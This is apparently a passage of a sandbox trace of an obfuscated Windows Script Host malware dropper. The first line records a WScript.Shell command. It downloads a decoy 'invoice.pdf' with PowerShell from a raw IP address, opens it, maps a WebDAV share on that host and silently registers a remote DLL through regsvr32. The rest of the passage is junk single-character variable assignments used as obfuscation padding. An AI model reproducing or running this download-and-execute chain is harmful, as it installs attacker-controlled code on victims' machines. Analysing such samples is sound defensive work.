ladtquo, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll",0,false) ➔ 0
14	}
15	ezldq = "j";
16	ezldq = "T";
17	ezldq = "J";
18	ezldq = "T";
19	ezldq = "O";
20	ezldq = "y";
21	ezldq = "z";
22	ezldq = "z";
23	ezldq = "g";
24	ezldq = "r";
25	piyufdqs = "d";
26	piyufdqs = "t";
27	piyufdqs = "V";
28	piyufdqs = "k";
29	piyufdqs = "W";
30	piyufdqs = "y";
31	piyufdqs = "C";
32	piyufdqs = "u";
33	piyufdqs = "e";
34	piyufdqs = "@";
35	hcuulrak = "W";
36	hcuulrak = "C";
37	hcuulrak = "q";
38	hcuulrak = "J";
39	hcuulrak = "v";
40	hcuulrak = "j";
41	hcuulrak = "U";
42	hcuulrak = "y";
43	hcuulrak = "E";
44	hcuulrak = "1";
45	tyzdhngl = "q";
46	tyzdhngl = "L";
47	tyzdhngl = "R";
48	tyzdhngl = "z";
49	tyzdhngl = "y";
50	tyzdhngl = "b";
51	tyzdhngl = "Q";
52	tyzdhngl = "w";
53	tyzdhngl = "a";
54	tyzdhngl = "Y";
55	tyzdhngl = "L";
56	tyzdhngl = "z";
57	tyzdhngl = "F";
58	tyzdhngl = "h";
59	tyzdhngl = "i";
60	tyzdhngl = "P";
61	tyzdhngl = "Z";
62	tyzdhngl = "m";
63	tyzdhngl = "x";
64	tyzdhngl = "j";
65	tyzdhngl = "N";
66	tyzdhngl = "k";
67	tyzdhngl = "S";
68	tyzdhngl = "k";
69	tyzdhngl = "u";
70	tyzdhngl = "2";
71	zfaupxgps = "h";
72	zfaupxgps = "r";
73	zfaupxgps = "P";
74	qxwjfgxnt = "H";
75	qxwjfgxnt = "Z";
76	qxwjfgxnt = "E";
77	qxwjfgxnt = "t";
78	qxwjfgxnt = "l";
79	qxwjfgxnt = "F";
80	qxwjfgxnt = "f";
81	qxwjfgxnt = "t";
82	qxwjfgxnt = "Z";
83	qxwjfgxnt = "w";
84	qxwjfgxnt = "u";
85	qxwjfgxnt = "R";
86	qxwjfgxnt = "z";
87	qxwjfgxnt = "o";
88	qxwjfgxnt = "Q";
89	qxwjfgxnt = "t";
90	qxwjfgxnt = "o";
91	qxwjfgxnt = "K";
92	qxwjfgxnt = "Y";
93	qxwjfgxnt = "K";
94	qxwjfgxnt = "a";
95	qxwjfgxnt = "L";
96	qxwjfgxnt = "f";
97	qxwjfgxnt = "j";
98	qxwjfgxnt = "S";
99	qxwjfgxnt = "j";
100	qxwjfgxnt = "S";
101	qxwjfgxnt = "U";
102	qxwjfgxnt = "B";
103	qxwjfgxnt = "O";
104	qxwjfgxnt = "P";
105	qxwjfgxnt = "E";
106	qxwjfgxnt = "m";
107	hdmnkal = "h";
108	hdmnkal = "d";
109	hdmnkal = "y";
110	hdmnkal = "h";
111	hdmnkal = "p";
112	hdmnkal = "h";
113	hdmnkal = "h";
114	hdmnkal = "Y";
115	hdmnkal = "o";
116	hdmnkal = "j";
117	hdmnkal = "f";
118	hdmnkal = "p";
119	hdmnkal = "f";
120	hdmnkal = "x";
121	hdmnkal = "t";
122	hdmnkal = "o";
123	hdmnkal = "J";
124	hdmnkal = "I";
125	hdmnkal = "n";
126	hdmnkal = "\"";
127	fcacmxbsb = "k";
128	fcacmxbsb = "a";
129	fcacmxbsb = "S";
130	fcacmxbsb = "J";
131	fcacmxbsb = "F";
132	fcacmxbsb = "E";
133	fcacmxbsb = "C";
134	fcacmxbsb = "q";
135	fcacmxbsb = "Q";
136	fcacmxbsb = "w";
137	fcacmxbsb = "B";
138	fcacmxbsb = "L";
139	fcacmxbsb = "D";
140	fcacmxbsb = "U";
141	fcacmxbsb = "N";
142	fcacmxbsb = "s";
143	fcacmxbsb = "Z";
144	fcacmxbsb = "G";
145	fcacmxbsb = "h";
146	fcacmxbsb = "j";
147	fcacmxbsb = "B";
148	fcacmxbsb = "G";
149	fcacmxbsb = "v";
150	fcacmxbsb = "N";
151	fcacmxbsb = "y";
152	fcacmxbsb = "n";
153	fcacmxbsb = "Z";
154	fcacmxbsb = "Q";
155	fcacmxbsb = "J";
156	fcacmxbsb = "A";
157	fcacmxbsb = "q";
158	fcacmxbsb = "p";
159	fcacmxbsb = "y";
160	fcacmxbsb = "v";
161	fcacmxbsb = "T";
162	fcacmxbsb = "p";
163	fcacmxbsb = "L";
164	fcacmxbsb = "a";
165	hhsfe = "Q";
166	hhsfe = "u";
167	hhsfe = "A";
168	hhsfe = "f";
169	hhsfe = "K";
170	hhsfe = "U";
171	hhsfe = "D";
172	hhsfe = "M";
173	hhsfe = "T";
174	hhsfe = "l";
175	hhsfe = "c";
176	hhsfe = "j";
177	hhsfe = "p";
178	hhsfe = "N";
179	hhsfe = "k";
180	hhsfe = "n";
181	hhsfe = "W";
182	hhsfe = "i";
183	hhsfe = "m";
184	hhsfe = "p";
185	hhsfe = "E";
186	hhsfe = "n";
187	hhsfe = "W";
188	hhsfe = "n";
189	hhsfe = "Z";
190	hhsfe = "H";
191	hhsfe = "j";
192	hhsfe = "T";
193	hhsfe = "N";
194	hhsfe = "U";
195	hhsfe = "J";
196	hhsfe = "m";
197	hhsfe = "F";
198	hhsfe = "F";
199	wnuipnbud = "I";
200	wnuipnbud = "E";
201	wnuipnbud = "R";
202	drcfnum = "k";
203	drcfnum = "N";
204	drcfnum = "S";
205	drcfnum = "Z";
206	drcfnum = "T";
207	drcfnum = "s";
208	drcfnum = "T";
209	drcfnum = "W";
210	drcfnum = "w";
211	drcfnum = "k";
212	drcfnum = "p";
213	drcfnum = "S";
214	drcfnum = "a";
215	drcfnum = "v";
216	drcfnum = "T";
217	drcfnum = "X";
218	drcfnum = "l";
219	drcfnum = "k";
220	drcfnum = "n";
221	drcfnum = "W";
222	drcfnum = "c";
223	drcfnum = "Y";
224	drcfnum = "y";
225	drcfnum = "Z";
226	drcfnum = "Y";
227	drcfnum = "E";
228	drcfnum = "z";
229	drcfnum = "s";
230	drcfnum = "P";
231	drcfnum = "S";
232	drcfnum = "B";
233	drcfnum = "P";
234	drcfnum = "a";
235	drcfnum = "t";
236	drcfnum = "Z";
237	drcfnum = "4";
238	mnxbfo = "c";
239	mnxbfo = "R";
240	mnxbfo = "z";
241	mnxbfo = "l";
242	mnxbfo = "a";
243	mnxbfo = "u";
244	mnxbfo = "J";
245	mnxbfo = "F";
246	mnxbfo = "r";
247	mnxbfo = "h";
248	mnxbfo = "E";
249	mnxbfo = "U";
250	mnxbfo = "z";
251	mnxbfo = "Z";
252	mnxbfo = "K";
253	mnxbfo = "y";
254	mnxbfo = "b";
255	mnxbfo = "t";
256	mnxbfo = "o";
257	mnxbfo = "d";
258	mnxbfo = "S";
259	mnxbfo = "N";
260	mnxbfo = "Z";
261	mnxbfo = "B";
262	mnxbfo = "E";
263	mnxbfo = "e";
264	mnxbfo = "b";
265	mnxbfo = "V";
266	mnxbfo = "a";
267	mnxbfo = "I";
268	mnxbfo = "F";
269	mnxbfo = "o";
270	mnxbfo = "c";
271	mnxbfo = "M";
272	mnxbfo = "n";
273	mnxbfo = "o";
274	mnxbfo = "q";
275	mnxbfo = "O";
276	hrvjinocb = "G";
277	hrvjinocb = "n";
278	hrvjinocb = "l";
279	hrvjinocb = "d";
280	hrvjinocb = "s";
281	hrvjinocb = "w";
282	hrvjinocb = "E";
283	hrvjinocb = "T";
284	hrvjinocb = "U";
285	hrvjinocb = "g";
286	hrvjinocb = "x";
287	hrvjinocb = "s";
288	hrvjinocb = "T";
289	hrvjinocb = "x";
290	hrvjinocb = "H";
291	hrvjinocb = "v";
292	hrvjinocb = "n";
293	hrvjinocb = "p";
294	hrvjinocb = "u";
295	hrvjinocb = "T";
296	hrvjinocb = "o";
297	hrvjinocb = "V";
298	hrvjinocb = "X";
299	hrvjinocb = "b";
300	hrvjinocb = "a";
301	hrvjinocb = "B";
302	hrvjinocb = "B";
303	hrvjinocb = "D";
304	hrvjinocb = "l";
305	hrvjinocb = "m";
306	hrvjinocb = "j";
307	kebkgpa = "b";
308	kebkgpa = "j";
309	kebkgpa = "i";
310	kebkgpa = "d";
311	kebkgpa = "H";
312	kebkgpa = "u";
313	kebkgpa = "B";
314	kebkgpa = "V";
315	kebkgpa = "Q";
316	kebkgpa = "E";
317	kebkgpa = "Y";
318	kebkgpa = "i";
319	kebkgpa = "F";
320	kebkgpa = "t";
321	kebkgpa = "b";
322	kebkgpa = "e";
323	kebkgpa = "I";
324	pktovoksn = "Z";
325	pktovoksn = "c";
326	pktovoksn = "a";
327	pktovoksn = "E";
328	pktovoksn = "z";
329	pktovoksn = "Q";
330	pktovoksn = "K";
331	pktovoksn = "p";
332	pktovoksn = "T";
333	pktovoksn = "j";
334	pktovoksn = "U";
335	pktovoksn = "H";
336	pktovoksn = "w";
337	pktovoksn = "i";
338	pktovoksn = "K";
339	pktovoksn = "e";
340	pktovoksn = "J";
341	pktovoksn = "M";
342	pktovoksn = "Z";
343	pktovoksn = "G";
344	pktovoksn = "i";
345	pktovoksn = "N";
346	pktovoksn = "i";
347	pktovoksn = "v";
348	pktovoksn = "i";
349	pktovoksn = "y";
350	pktovoksn = "i";
351	pktovoksn = "e";
352	pktovoksn = "T";
353	pktovoksn = "H";
354	pktovoksn = "a";
355	pktovoksn = "x";
356	pktovoksn = "q";
357	pktovoksn = "D";
358	pktovoksn = "e";
359	pktovoksn = "k";
360	pktovoksn = "l";
361	pktovoksn = "z";
362	pktovoksn = "j";
363	pktovoksn = "B";
364	pktovoksn = "f";
365	pktovoksn = "J";
366	pktovoksn = "d";
367	pktovoksn = "Y";
368	pktovoksn = "h";
369	nhareq = "L";
370	nhareq = "f";
371	nhareq = "q";
372	nhareq = "v";
373	nhareq = "M";
374	nhareq = "c";
375	nhareq = "v";
376	nhareq = "S";
377	nhareq = "A";
378	nhareq = "X";
379	nhareq = "y";
380	nhareq = "V";
381	nhareq = "R";
382	nhareq = "e";
383	nhareq = "p";
384	nhareq = "p";
385	nhareq = "J";
386	nhareq = "a";
387	nhareq = "c";
388	nhareq = "R";
389	nhareq = "l";
390	nhareq = "G";
391	nhareq = "B";
392	nhareq = "r";
393	nhareq = "w";
394	nhareq = "b";
395	nhareq = "N";
396	nhareq = "Q";
397	nhareq = "z";
398	nhareq = "O";
399	nhareq = "l";
400	nhareq = "m";
401	nhareq = "V";
402	nhareq = "Q";
403	nhareq = "b";
404	nhareq = "O";
405	nhareq = "p";
406	sofrajvj = "Q";
407	sofrajvj = "i";
408	ilukepw = "x";
409	ilukepw = "r";
410	ilukepw = "u";
411	ilukepw = "u";
412	ilukepw = "A";
413	ilukepw = "H";
414	ilukepw = "T";
415	ilukepw = "G";
416	ilukepw = "l";
417	ilukepw = "Y";
418	ilukepw = "g";
419	ilukepw = "t";
420	ilukepw = "w";
421	ilukepw = "q";
422	ilukepw = "A";
423	ilukepw = "x";
424	ilukepw = "m";
425	ilukepw = "b";
426	ilukepw = "H";
427	ilukepw = "L";
428	ilukepw = "A";
429	ilukepw = "v";
430	ilukepw = "i";
431	ilukepw = "n";
432	degpey = "u";
433	degpey = "u";
434	degpey = "k";
435	degpey = "g";
436	degpey = "n";
437	degpey = "Y";
438	degpey = "B";
439	degpey = "s";
440	degpey = "v";
441	degpey = "T";
442	degpey = "&";
443	hxiydffp = "n";
444	hxiydffp = "W";
445	hxiydffp = "s";
446	hxiydffp = "g";
447	hxiydffp = "T";
448	hxiydffp = "B";
449	hxiydffp = "j";
450	hxiydffp = "x";
451	hxiydffp = "V";
452	hxiydffp = "E";
453	hxiydffp = "K";
454	hxiydffp = "C";
455	hxiydffp = "O";
456	hxiydffp = "Z";
457	hxiydffp = "g";
458	hxiydffp = "W";
459	hxiydffp = "n";
460	hxiydffp = "M";
461	hxiydffp = "G";
462	hxiydffp = "t";
463	hxiydffp = "N";
464	hxiydffp = "S";
465	hxiydffp = "c";
466	hxiydffp = "N";
467	hxiydffp = "O";
468	hxiydffp = "Q";
469	hxiydffp = "x";
470	hxiydffp = "p";
471	hxiydffp = "n";
472	hxiydffp = "8";
473	dpgkwb = "v";
474	dpgkwb = "H";
475	cnlrqu = "L";
476	cnlrqu = "J";
477	cnlrqu = "s";
478	cnlrqu = "s";
479	cnlrqu = "E";
480	cnlrqu = "W";
481	cnlrqu = "M";
482	cnlrqu = "o";
483	cnlrqu = "g";
484	cnlrqu = "d";
485	cnlrqu = "E";
486	cnlrqu = "Q";
487	cnlrqu = "H";
488	cnlrqu = "o";
489	cnlrqu = "D";
490	cnlrqu = "X";
491	cnlrqu = "I";
492	cnlrqu = "B";
493	cnlrqu = "p";
494	cnlrqu = "q";
495	cnlrqu = "w";
496	cnlrqu = "d";
497	cnlrqu = "o";
498	cnlrqu = "m";
499	cnlrqu = "3";
500	pqheixb = "A";
501	pqheixb = "L";
502	pqheixb = "p";
503	pqheixb = "j";
504	pqheixb = "B";
505	pqheixb = "j";
506	pqheixb = "U";
507	pqheixb = "e";
508	pqheixb = "v";
509	pqheixb = "r";
510	pqheixb = "z";
511	pqheixb = "B";
512	pqheixb = "t";
513	pqheixb = "W";
514	pqheixb = "A";
515	pqheixb = "m";
516	pqheixb = "l";
517	pqheixb = "Z";
518	pqheixb = "z";
519	pqheixb = "r";
520	pqheixb = "i";
521	pqheixb = "F";
522	pqheixb = "E";
523	pqheixb = "B";
524	pqheixb = "d";
525	pqheixb = "v";
526	pqheixb = "v";
527	pqheixb = "f";
528	pqheixb = "I";
529	pqheixb = "N";
530	pqheixb = "X";
531	pqheixb = "e";
532	pqheixb = "G";
533	pqheixb = "L";
534	pqheixb = "Q";
535	prhlr = "W";
536	prhlr = "w";
537	prhlr = "k";
538	prhlr = "W";
539	prhlr = "a";
540	prhlr = "m";
541	prhlr = "x";
542	prhlr = "L";
543	prhlr = "i";
544	prhlr = "I";
545	prhlr = "t";
546	prhlr = "E";
547	prhlr = "i";
548	prhlr = "t";
549	prhlr = "y";
550	prhlr = "G";
551	prhlr = "I";
552	prhlr = "b";
553	prhlr = "g";
554	prhlr = "m";
555	prhlr = "T";
556	prhlr = "h";
557	prhlr = "u";
558	prhlr = "f";
559	prhlr = "C";
560	prhlr = "x";
561	prhlr = "m";
562	prhlr = "v";
563	prhlr = "g";
564	prhlr = "X";
565	prhlr = "l";
566	prhlr = "w";
567	prhlr = "e";
568	prhlr = "d";
569	prhlr = "Y";
570	prhlr = "n";
571	prhlr = "Y";
572	prhlr = "j";
573	prhlr = "v";
574	dixyzy = "y";
575	dixyzy = "z";
576	dixyzy = "H";
577	dixyzy = "D";
578	dixyzy = "A";
579	dixyzy = "D";
580	dixyzy = "h";
581	dixyzy = "e";
582	dixyzy = "a";
583	dixyzy = "z";
584	dixyzy = "L";
585	dixyzy = "L";
586	dixyzy = "e";
587	dixyzy = "p";
588	dixyzy = "W";
589	dixyzy = "W";
590	dixyzy = "u";
591	dixyzy = "C";
592	dixyzy = "e";
593	dixyzy = "O";
594	dixyzy = "i";
595	dixyzy = "d";
596	dixyzy = "J";
597	dixyzy = "o";
598	dixyzy = "U";
599	dixyzy = "o";
600	dixyzy = "z";
601	dixyzy = "k";
602	dixyzy = "p";
603	dixyzy = "z";
604	dixyzy = "o";
605	dixyzy = "E";
606	dixyzy = "d";
607	dixyzy = "F";
608	dixyzy = "H";
609	dixyzy = "n";
610	dixyzy = "Q";
611	dixyzy = "G";
612	dixyzy = "m";
613	dixyzy = "c";
614	gsewzl = "U";
615	gsewzl = "n";
616	gsewzl = "e";
617	gsewzl = "W";
618	gsewzl = "m";
619	gsewzl = "e";
620	gsewzl = "t";
621	gsewzl = "G";
622	gsewzl = "H";
623	gsewzl = "E";
624	gsewzl = "v";
625	gsewzl = "p";
626	gsewzl = "v";
627	gsewzl = "s";
628	gsewzl = "r";
629	gsewzl = "P";
630	gsewzl = "n";
631	gsewzl = "k";
632	gtfjvqo = "T";
633	gtfjvqo = "l";
634	gtfjvqo = "j";
635	gtfjvqo = "I";
636	gtfjvqo = "g";
637	gtfjvqo = "Y";
638	gtfjvqo = "F";
639	gtfjvqo = "x";
640	gtfjvqo = "s";
641	gtfjvqo = "R";
642	gtfjvqo = "J";
643	gtfjvqo = "z";
644	gtfjvqo = "A";
645	gtfjvqo = "h";
646	gtfjvqo = "v";
647	gtfjvqo = "u";
648	gtfjvqo = "y";
649	gtfjvqo = "p";
650	gtfjvqo = "A";
651	gtfjvqo = "5";
652	ygegl = "i";
653	ygegl = "g";
654	ygegl = "i";
655	ygegl = "N";
656	ygegl = "s";
657	ygegl = "e";
658	ygegl = "M";
659	ygegl = "K";
660	ygegl = "p";
661	ygegl = "m";
662	ygegl = "z";
663	ygegl = "A";
664	ygegl = "p";
665	ygegl = "b";
666	ygegl = "x";
667	ygegl = "m";
668	ygegl = "w";
669	ygegl = "f";
670	ygegl = "m";
671	ygegl = "e";
672	ygegl = "t";
673	huezb = "O";
674	huezb = "Z";
675	huezb = "S";
676	huezb = "o";
677	huezb = "v";
678	huezb = "k";
679	huezb = "L";
680	vmkxjzj = "A";
681	vmkxjzj = "z";
682	vmkxjzj = "l";
683	vmkxjzj = "u";
684	vmkxjzj = "C";
685	vmkxjzj = "V";
686	vmkxjzj = "X";
687	vmkxjzj = "f";
688	vmkxjzj = "a";
689	vmkxjzj = "G";
690	vmkxjzj = "X";
691	vmkxjzj = "e";
692	vmkxjzj = "Q";
693	vmkxjzj = "E";
694	vmkxjzj = "J";
695	vmkxjzj = "L";
696	vmkxjzj = "q";
697	vmkxjzj = "y";
698	vmkxjzj = "o";
699	vmkxjzj = "m";
700	vmkxjzj = "g";
701	vmkxjzj = "J";
702	vmkxjzj = "a";
703	vmkxjzj = "K";
704	vmkxjzj = "y";
705	vmkxjzj = "t";
706	vmkxjzj = "A";
707	vmkxjzj = "v";
708	vmkxjzj = "e";
709	vmkxjzj = "B";
710	vmkxjzj = "t";
711	vmkxjzj = "d";
712	vmkxjzj = "X";
713	vmkxjzj = "U";
714	vmkxjzj = "d";
715	vmkxjzj = "D";
716	vmkxjzj = "%";
717	szepuzixz = "u";
718	szepuzixz = "U";
719	szepuzixz = "G";
720	szepuzixz = "X";
721	szepuzixz = "l";
722	szepuzixz = "l";
723	szepuzixz = "a";
724	szepuzixz = "L";
725	szepuzixz = "k";
726	szepuzixz = "K";
727	szepuzixz = "V";
728	szepuzixz = "w";
729	szepuzixz = "O";
730	szepuzixz = "r";
731	szepuzixz = "r";
732	szepuzixz = "G";
733	szepuzixz = "Y";
734	szepuzixz = "F";
735	szepuzixz = "Q";
736	szepuzixz = "B";
737	szepuzixz = "C";
738	szepuzixz = "b";
739	szepuzixz = "i";
740	szepuzixz = "r";
741	szepuzixz = "V";
742	szepuzixz = "u";
743	tfonyxqgb = "P";
744	tfonyxqgb = "t";
745	tfonyxqgb = "Q";
746	tfonyxqgb = "f";
747	tfonyxqgb = "M";
748	tfonyxqgb = "e";
749	tfonyxqgb = "A";
750	tfonyxqgb = "N";
751	tfonyxqgb = "B";
752	tfonyxqgb = "r";
753	tfonyxqgb = "d";
754	tfonyxqgb = "V";
755	tfonyxqgb = "E";
756	tfonyxqgb = "c";
757	tfonyxqgb = "x";
758	tfonyxqgb = "Z";
759	tfonyxqgb = "b";
760	tfonyxqgb = "r";
761	tfonyxqgb = "y";
762	tfonyxqgb = "d";
763	tfonyxqgb = "B";
764	tfonyxqgb = "h";
765	tfonyxqgb = "j";
766	tfonyxqgb = "O";
767	tfonyxqgb = "p";
768	tfonyxqgb = "u";
769	tfonyxqgb = "R";
770	tfonyxqgb = "O";
771	tfonyxqgb = "g";
772	tfonyxqgb = "q";
773	tfonyxqgb = "w";
774	tfonyxqgb = "Z";
775	tfonyxqgb = "i";
776	tfonyxqgb = "K";
777	tfonyxqgb = "B";
778	tfonyxqgb = "I";
779	tfonyxqgb = "v";
780	tfonyxqgb = "T";
781	tfonyxqgb = "N";
782	tfonyxqgb = "Y";
783	tfonyxqgb = "q";
784	tfonyxqgb = "h";
785	tfonyxqgb = "d";
786	vprvpci = "Y";
787	vprvpci = "n";
788	vprvpci = "x";
789	vprvpci = "F";
790	vprvpci = "E";
791	vprvpci = "A";
792	vprvpci = "j";
793	vprvpci = "u";
794	vprvpci = "B";
795	vprvpci = "p";
796	vprvpci = "a";
797	vprvpci = "N";
798	vprvpci = "t";
799	vprvpci = "U";
800	vprvpci = "L";
801	vprvpci = "E";
802	vprvpci = "n";
803	vprvpci = "S";
804	vprvpci = "B";
805	vprvpci = "n";
806	vprvpci = "j";
807	vprvpci = "z";
808	vprvpci = "k";
809	vprvpci = "G";
810	vprvpci = "D";
811	vprvpci = "T";
812	vprvpci = "p";
813	vprvpci = "f";
814	vprvpci = "J";
815	vprvpci = "N";
816	vprvpci = "l";
817	vprvpci = "h";
818	vprvpci = "u";
819	vprvpci = "E";
820	vprvpci = "g";
821	vprvpci = "X";
822	vprvpci = "S";
823	rdzeu = "j";
824	rdzeu = "s";
825	rdzeu = "q";
826	rdzeu = "M";
827	rdzeu = "i";
828	rdzeu = "Y";
829	rdzeu = "c";
830	rdzeu = "C";
831	rdzeu = "R";
832	rdzeu = "l";
833	rdzeu = "e";
834	rdzeu = "V";
835	rdzeu = "m";
836	rdzeu = "t";
837	rdzeu = "J";
838	rdzeu = "d";
839	rdzeu = "t";
840	rdzeu = "a";
841	rdzeu = "O";
842	rdzeu = "d";
843	rdzeu = "Z";
844	rdzeu = "R";
845	rdzeu = "B";
846	rdzeu = "S";
847	rdzeu = "n";
848	rdzeu = "r";
849	rdzeu = "X";
850	rdzeu = "g";
851	rdzeu = "b";
852	rdzeu = "S";
853	rdzeu = "u";
854	rdzeu = "e";
855	rdzeu = "M";
856	rdzeu = "U";
857	rdzeu = "g";
858	rdzeu = "K";
859	rdzeu = "i";
860	rdzeu = "U";
861	rdzeu = " ";
862	dcijscn = "f";
863	dcijscn = "K";
864	dcijscn = "a";
865	dcijscn = "m";
866	dcijscn = "v";
867	dcijscn = "r";
868	dcijscn = "F";
869	dcijscn = "j";
870	dcijscn = "u";
871	dcijscn = "x";
872	dcijscn = "b";
873	dcijscn = "g";
874	dcijscn = "W";
875	dcijscn = "G";
876	dcijscn = "n";
877	dcijscn = "j";
878	dcijscn = "B";
879	dcijscn = "I";
880	dcijscn = "Y";
881	dcijscn = "T";
882	dcijscn = "M";
883	dcijscn = "f";
884	dcijscn = "g";
885	dcijscn = "b";
886	dcijscn = "W";
887	dcijscn = "j";
888	dcijscn = "s";
889	dcijscn = "U";
890	dcijscn = "k";
891	dcijscn = "x";
892	dcijscn = "H";
893	dcijscn = "r";
894	dcijscn = "k";
895	dcijscn = "E";
896	dcijscn = "n";
897	dcijscn = "Y";
898	dcijscn = "V";
899	dcijscn = "d";
900	dcijscn = "k";
901	dcijscn = "N";
902	dcijscn = ".";
903	skcog = "t";
904	skcog = "L";
905	skcog = "f";
906	skcog = "m";
907	skcog = "M";
908	skcog = "j";
909	skcog = "B";
910	skcog = "r";
911	skcog = "k";
912	skcog = "C";
913	skcog = "v";
914	skcog = "R";
915	skcog = "K";
916	skcog = "D";
917	skcog = "C";
918	skcog = "n";
919	skcog = "I";
920	skcog = "Y";
921	skcog = "H";
922	skcog = "s";
923	skcog = "U";
924	skcog = "g";
925	skcog = "U";
926	skcog = "M";
927	skcog = "g";
928	skcog = "M";
929	skcog = "K";
930	skcog = "Z";
931	skcog = "q";
932	skcog = "9";
933	yrscmtjb = "R";
934	yrscmtjb = "V";
935	yrscmtjb = "B";
936	yrscmtjb = "s";
937	yrscmtjb = "w";
938	gextdxmr = "k";
939	gextdxmr = "W";
940	gextdxmr = "L";
941	gextdxmr = "X";
942	gextdxmr = "a";
943	gextdxmr = "B";
944	gextdxmr = "R";
945	gextdxmr = "F";
946	gextdxmr = "B";
947	gextdxmr = "J";
948	gextdxmr = "W";
949	gextdxmr = "y";
950	gextdxmr = "X";
951	gextdxmr = "k";
952	gextdxmr = "u";
953	gextdxmr = "j";
954	gextdxmr = "r";
955	gextdxmr = "P";
956	gextdxmr = "n";
957	gextdxmr = "l";
958	gextdxmr = "X";
959	gextdxmr = "L";
960	gextdxmr = "a";
961	gextdxmr = "W";
962	gextdxmr = "B";
963	gextdxmr = "a";
964	gextdxmr = "r";
965	gextdxmr = "K";
966	gextdxmr = "p";
967	gextdxmr = "h";
968	gextdxmr = "m";
969	gextdxmr = "r";
970	gextdxmr = "I";
971	gextdxmr = "Q";
972	gextdxmr = "w";
973	gextdxmr = "\\";
974	bnydohls = "R";
975	bnydohls = "T";
976	bnydohls = "l";
977	bnydohls = "H";
978	bnydohls = "b";
979	bnydohls = "W";
980	bnydohls = "B";
981	bnydohls = "W";
982	bnydohls = "k";
983	bnydohls = "i";
984	bnydohls = "Y";
985	bnydohls = "j";
986	bnydohls = "W";
987	bnydohls = "T";
988	bnydohls = "V";
989	bnydohls = "O";
990	bnydohls = "V";
991	bnydohls = "j";
992	bnydohls = "R";
993	bnydohls = "j";
994	bnydohls = "u";
995	bnydohls = "G";
996	bnydohls = "V";
997	bnydohls = "I";
998	bnydohls = "V";
999	bnydohls = "l";
1000	bnydohls = "a";
1001	bnydohls = "i";
1002	bnydohls = "H";
1003	bnydohls = "t";
1004	bnydohls = "A";
1005	bnydohls = "u";
1006	bnydohls = "m";
1007	bnydohls = "X";
1008	bnydohls = "y";
1009	bnydohls = "Q";
1010	bnydohls = "A";
1011	bnydohls = "G";
1012	bnydohls = "B";
1013	bnydohls = "r";
1014	bnydohls = "E";
1015	bnydohls = "C";
1016	eavzzmqjg = "J";
1017	eavzzmqjg = "X";
1018	eavzzmqjg = "J";
1019	eavzzmqjg = "u";
1020	eavzzmqjg = "e";
1021	eavzzmqjg = "Q";
1022	eavzzmqjg = "l";
1023	eavzzmqjg = "M";
1024	eavzzmqjg = "a";
1025	eavzzmqjg = "b";
1026	eavzzmqjg = "N";
1027	eavzzmqjg = "J";
1028	eavzzmqjg = "l";
1029	eavzzmqjg = "h";
1030	eavzzmqjg = "z";
1031	eavzzmqjg = "R";
1032	eavzzmqjg = "p";
1033	eavzzmqjg = "C";
1034	eavzzmqjg = "O";
1035	eavzzmqjg = "a";
1036	eavzzmqjg = "T";
1037	eavzzmqjg = "m";
1038	eavzzmqjg = "I";
1039	eavzzmqjg = "P";
1040	eavzzmqjg = "d";
1041	eavzzmqjg = "x";
1042	eavzzmqjg = "Y";
1043	qotwnl = "R";
1044	qotwnl = "Y";
1045	qotwnl = "w";
1046	qotwnl = "J";
1047	qotwnl = "j";
1048	qotwnl = "x";
1049	qotwnl = "Z";
1050	qotwnl = "A";
1051	qotwnl = "t";
1052	qotwnl = "A";
1053	qotwnl = "N";
1054	qotwnl = "x";
1055	qotwnl = "c";
1056	qotwnl = "n";
1057	qotwnl = "q";
1058	qotwnl = "J";
1059	qotwnl = "c";
1060	qotwnl = "e";
1061	qotwnl = "Y";
1062	qotwnl = ":";
1063	iqeaoqf = "u";
1064	iqeaoqf = "q";
1065	iqeaoqf = "Z";
1066	iqeaoqf = "z";
1067	iqeaoqf = "G";
1068	iqeaoqf = "l";
1069	iqeaoqf = "p";
1070	iqeaoqf = "w";
1071	iqeaoqf = "P";
1072	iqeaoqf = "b";
1073	iqeaoqf = "k";
1074	iqeaoqf = "R";
1075	iqeaoqf = "A";
1076	iqeaoqf = "O";
1077	iqeaoqf = "g";
1078	iqeaoqf = "o";
1079	iqeaoqf = "i";
1080	iqeaoqf = "c";
1081	iqeaoqf = "m";
1082	iqeaoqf = "m";
1083	iqeaoqf = "x";
1084	iqeaoqf = "j";
1085	iqeaoqf = "Y";
1086	iqeaoqf = "k";
1087	iqeaoqf = "I";
1088	iqeaoqf = "b";
1089	iqeaoqf = "_";
1090	nymoa = "N";
1091	nymoa = "S";
1092	nymoa = "N";
1093	nymoa = "H";
1094	nymoa = "u";
1095	nymoa = "V";
1096	nymoa = "D";
1097	nymoa = "l";
1098	nymoa = "V";
1099	nymoa = "d";
1100	nymoa = "h";
1101	nymoa = "Y";
1102	nymoa = "N";
1103	nymoa = "A";
1104	nymoa = "F";
1105	nymoa = "p";
1106	nymoa = "d";
1107	nymoa = "r";
1108	nymoa = "H";
1109	nymoa = "m";
1110	nymoa = "N";
1111	qxradl = "U";
1112	qxradl = "z";
1113	qxradl = "Q";
1114	qxradl = "V";
1115	qxradl = "G";
1116	qxradl = "Q";
1117	qxradl = "g";
1118	qxradl = "C";
1119	qxradl = "g";
1120	qxradl = "f";
1121	qxradl = "E";
1122	qxradl = "y";
1123	qxradl = "T";
1124	qxradl = "u";
1125	qxradl = "e";
1126	qxradl = "Q";
1127	qxradl = "K";
1128	qxradl = "o";
1129	qxradl = "T";
1130	qxradl = "e";
1131	qxradl = "d";
1132	qxradl = "l";
1133	qxradl = "V";
1134	qxradl = "i";
1135	qxradl = "a";
1136	qxradl = "Z";
1137	qxradl = "V";
1138	qxradl = "Q";
1139	qxradl = "K";
1140	qxradl = "C";
1141	qxradl = "P";
1142	qxradl = "N";
1143	qxradl = "l";
1144	qxradl = "i";
1145	qxradl = "L";
1146	qxradl = "W";
1147	weizz = "i";
1148	weizz = "P";
1149	weizz = "m";
1150	weizz = "p";
1151	weizz = "I";
1152	weizz = "F";
1153	weizz = "s";
1154	weizz = "I";
1155	weizz = "L";
1156	weizz = "R";
1157	weizz = "x";
1158	weizz = "e";
1159	fppdiqsdd = "B";
1160	fppdiqsdd = "r";
1161	fppdiqsdd = "i";
1162	fppdiqsdd = "R";
1163	fppdiqsdd = "j";
1164	fppdiqsdd = "o";
